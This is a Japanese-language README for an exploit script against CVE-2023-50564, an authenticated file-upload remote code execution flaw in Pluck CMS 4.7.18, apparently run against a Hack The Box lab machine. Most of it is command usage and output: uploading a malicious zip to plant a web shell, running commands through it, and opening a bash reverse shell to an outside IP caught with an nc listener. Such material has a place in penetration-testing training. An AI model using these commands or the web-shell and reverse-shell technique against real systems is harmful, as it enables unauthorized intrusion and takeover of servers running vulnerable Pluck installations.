
Pluck-CMS v4.7.18 RCEエクスプロイト
CVE-2023-50564 は、Pluck CMS v4.7.18 における RCE 脆弱性です。/inc/modules_install.php コンポーネントの任意ファイルアップロードの脆弱性により、悪意のある .zip ファイルをアップロードして任意のコードを実行できます。
エクスプロイトを実行する前に、/login.php で認証するためのパスワードを知っておく必要があります。
ターゲットに対してエクスプロイトを実行します:
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
悪意のある .php ファイルには、スクリプトが提供するリンクからアクセスしてコマンドを実行できます。
オプションとして、実行するコマンドは --cmd フラグで指定できます。
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd id
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
リスナーを起動し、--cmd フラグを使用してリスナーへのリバースシェル接続を確立するコマンドを指定します:
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1''
そして、リスナーで接続を取得します:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.78.209] 38982
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/malicious$
依存関係をインストールします:
pip install -r requirements.txt
ヘルプ:
$ python3 exploit.py --help
usage: exploit.py [-h] --target TARGET --password PASSWORD [--cmd CMD]
Exploit Pluck v4.7.18 RCE Vulnerability
options:
-h, --help show this help message and exit
--target TARGET Target URL (Example: http://greenhorn.htb)
--password PASSWORD Pluck password
--cmd CMD Command to execute
脆弱性を発見した Mirabbas Ağalarov にクレジットを捧げます (リンク)。